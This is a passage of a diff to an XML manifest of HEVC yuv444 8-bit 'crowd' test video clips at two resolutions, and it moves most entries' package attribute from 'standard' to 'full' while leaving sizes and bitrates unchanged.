   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=110019,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1358672,package=standard</value>
+    <value>mime=video/hevc,size=110019,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1358672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=177822,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2206224,package=standard</value>
+    <value>mime=video/hevc,size=177822,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2206224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=110452,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1364080,package=standard</value>
+    <value>mime=video/hevc,size=110452,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1364080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=175600,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2178432,package=standard</value>
+    <value>mime=video/hevc,size=175600,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2178432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=109880,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356920,package=standard</value>
+    <value>mime=video/hevc,size=109880,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=110378,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1363144,package=standard</value>
+    <value>mime=video/hevc,size=110378,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1363144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=110072,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359320,package=standard</value>
+    <value>mime=video/hevc,size=110072,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=110207,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361008,package=standard</value>
+    <value>mime=video/hevc,size=110207,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=109957,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=standard</value>
+    <value>mime=video/hevc,size=109957,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=110573,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1365600,package=standard</value>
+    <value>mime=video/hevc,size=110573,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1365600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=112417,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1388648,package=standard</value>
+    <value>mime=video/hevc,size=112417,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1388648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=111353,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1375336,package=standard</value>
+    <value>mime=video/hevc,size=111353,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1375336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=110384,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1363232,package=standard</value>
+    <value>mime=video/hevc,size=110384,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1363232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=109512,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1352320,package=standard</value>
+    <value>mime=video/hevc,size=109512,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1352320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=164149,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2035280,package=standard</value>
+    <value>mime=video/hevc,size=164149,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2035280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=91344,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1125832,package=standard</value>
+    <value>mime=video/hevc,size=91344,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1125832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=109300,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349656,package=standard</value>
+    <value>mime=video/hevc,size=109300,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109956,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=110222,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361208,package=standard</value>
+    <value>mime=video/hevc,size=110222,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=110206,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361008,package=standard</value>
+    <value>mime=video/hevc,size=110206,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=109881,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356944,package=standard</value>
+    <value>mime=video/hevc,size=109881,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=129881,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1610800,package=standard</value>
+    <value>mime=video/hevc,size=129881,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1610800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=43185,width=854,height=480,frame-rate=50,profile=,level=,bitrate=523232,package=standard</value>
+    <value>mime=video/hevc,size=43185,width=854,height=480,frame-rate=50,profile=,level=,bitrate=523232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=804369,width=854,height=480,frame-rate=50,profile=,level=,bitrate=10038032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=77562,width=854,height=480,frame-rate=50,profile=,level=,bitrate=952944,package=standard</value>
+    <value>mime=video/hevc,size=77562,width=854,height=480,frame-rate=50,profile=,level=,bitrate=952944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1625735,width=854,height=480,frame-rate=50,profile=,level=,bitrate=20305112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=343585,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4278232,package=standard</value>
+    <value>mime=video/hevc,size=343585,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4278232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=338775,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4218112,package=standard</value>
+    <value>mime=video/hevc,size=338775,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4218112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=182836,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2268872,package=standard</value>
+    <value>mime=video/hevc,size=182836,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2268872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=181109,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2247280,package=standard</value>
+    <value>mime=video/hevc,size=181109,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2247280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=184458,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2289144,package=standard</value>
+    <value>mime=video/hevc,size=184458,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2289144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=46351,width=854,height=480,frame-rate=50,profile=,level=,bitrate=562808,package=standard</value>
+    <value>mime=video/hevc,size=46351,width=854,height=480,frame-rate=50,profile=,level=,bitrate=562808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=394802,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4918448,package=full</value>
@@ -24789,157 +24789,157 @@
     <value>mime=video/hevc,size=495236,width=854,height=480,frame-rate=50,profile=,level=,bitrate=6176968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_aud.mp4">
-    <value>mime=video/hevc,size=178070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=standard</value>
+    <value>mime=video/hevc,size=178070,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=163194,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2023944,package=standard</value>
+    <value>mime=video/hevc,size=163194,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2023944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=202813,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2518584,package=standard</value>
+    <value>mime=video/hevc,size=202813,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2518584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=178602,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215936,package=standard</value>
+    <value>mime=video/hevc,size=178602,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=178681,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216920,package=standard</value>
+    <value>mime=video/hevc,size=178681,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2216920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=178833,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2218808,package=standard</value>
+    <value>mime=video/hevc,size=178833,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2218808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=180291,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2237048,package=standard</value>
+    <value>mime=video/hevc,size=180291,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2237048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=178495,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2214600,package=standard</value>
+    <value>mime=video/hevc,size=178495,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2214600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=179106,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2222224,package=standard</value>
+    <value>mime=video/hevc,size=179106,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2222224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=181077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2246880,package=standard</value>
+    <value>mime=video/hevc,size=181077,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2246880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=195698,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2428832,package=standard</value>
+    <value>mime=video/hevc,size=195698,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2428832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf0.mp4">
     <value>mime=video/hevc,size=6289301,width=854,height=480,frame-rate=50,profile=,level=,bitrate=78599680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=15220,width=854,height=480,frame-rate=50,profile=,level=,bitrate=173672,package=standard</value>
+    <value>mime=video/hevc,size=15220,width=854,height=480,frame-rate=50,profile=,level=,bitrate=173672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=180921,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2244944,package=standard</value>
+    <value>mime=video/hevc,size=180921,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2244944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=178869,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219280,package=standard</value>
+    <value>mime=video/hevc,size=178869,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2219280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=178752,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2217824,package=standard</value>
+    <value>mime=video/hevc,size=178752,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2217824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_faster.mp4">
-    <value>mime=video/hevc,size=153669,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1904880,package=standard</value>
+    <value>mime=video/hevc,size=153669,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1904880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fast.mp4">
-    <value>mime=video/hevc,size=157949,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1958384,package=standard</value>
+    <value>mime=video/hevc,size=157949,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1958384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_grain.mp4">
-    <value>mime=video/hevc,size=299886,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3732000,package=standard</value>
+    <value>mime=video/hevc,size=299886,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3732000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=178777,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2218136,package=standard</value>
+    <value>mime=video/hevc,size=178777,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2218136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=178585,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215736,package=standard</value>
+    <value>mime=video/hevc,size=178585,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2215736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=179929,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232536,package=standard</value>
+    <value>mime=video/hevc,size=179929,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=199363,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2475408,package=standard</value>
+    <value>mime=video/hevc,size=199363,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2475408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=178082,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209448,package=standard</value>
+    <value>mime=video/hevc,size=178082,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_lossless.mp4">
     <value>mime=video/hevc,size=16499681,width=854,height=480,frame-rate=50,profile=,level=,bitrate=206229432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=178088,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209520,package=standard</value>
+    <value>mime=video/hevc,size=178088,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=178105,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209736,package=standard</value>
+    <value>mime=video/hevc,size=178105,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=178064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209224,package=standard</value>
+    <value>mime=video/hevc,size=178064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=178064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209224,package=standard</value>
+    <value>mime=video/hevc,size=178064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=178064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209224,package=standard</value>
+    <value>mime=video/hevc,size=178064,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=180084,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2234472,package=standard</value>
+    <value>mime=video/hevc,size=180084,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2234472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=171420,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2126184,package=standard</value>
+    <value>mime=video/hevc,size=171420,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2126184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=179959,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232912,package=standard</value>
+    <value>mime=video/hevc,size=179959,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2232912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_medium.mp4">
-    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=standard</value>
+    <value>mime=video/hevc,size=178073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2209336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=181954,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2257848,package=standard</value>
+    <value>mime=video/hevc,size=181954,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2257848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=179058,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2221648,package=standard</value>
+    <value>mime=video/hevc,size=179058,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2221648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=177606,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2203496,package=standard</value>
+    <value>mime=video/hevc,size=177606,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2203496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=177528,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2202520,package=standard</value>
+    <value>mime=video/hevc,size=177528,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2202520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=188822,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2343696,package=standard</value>
+    <value>mime=video/hevc,size=188822,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2343696,package=full</value>
   </entry>
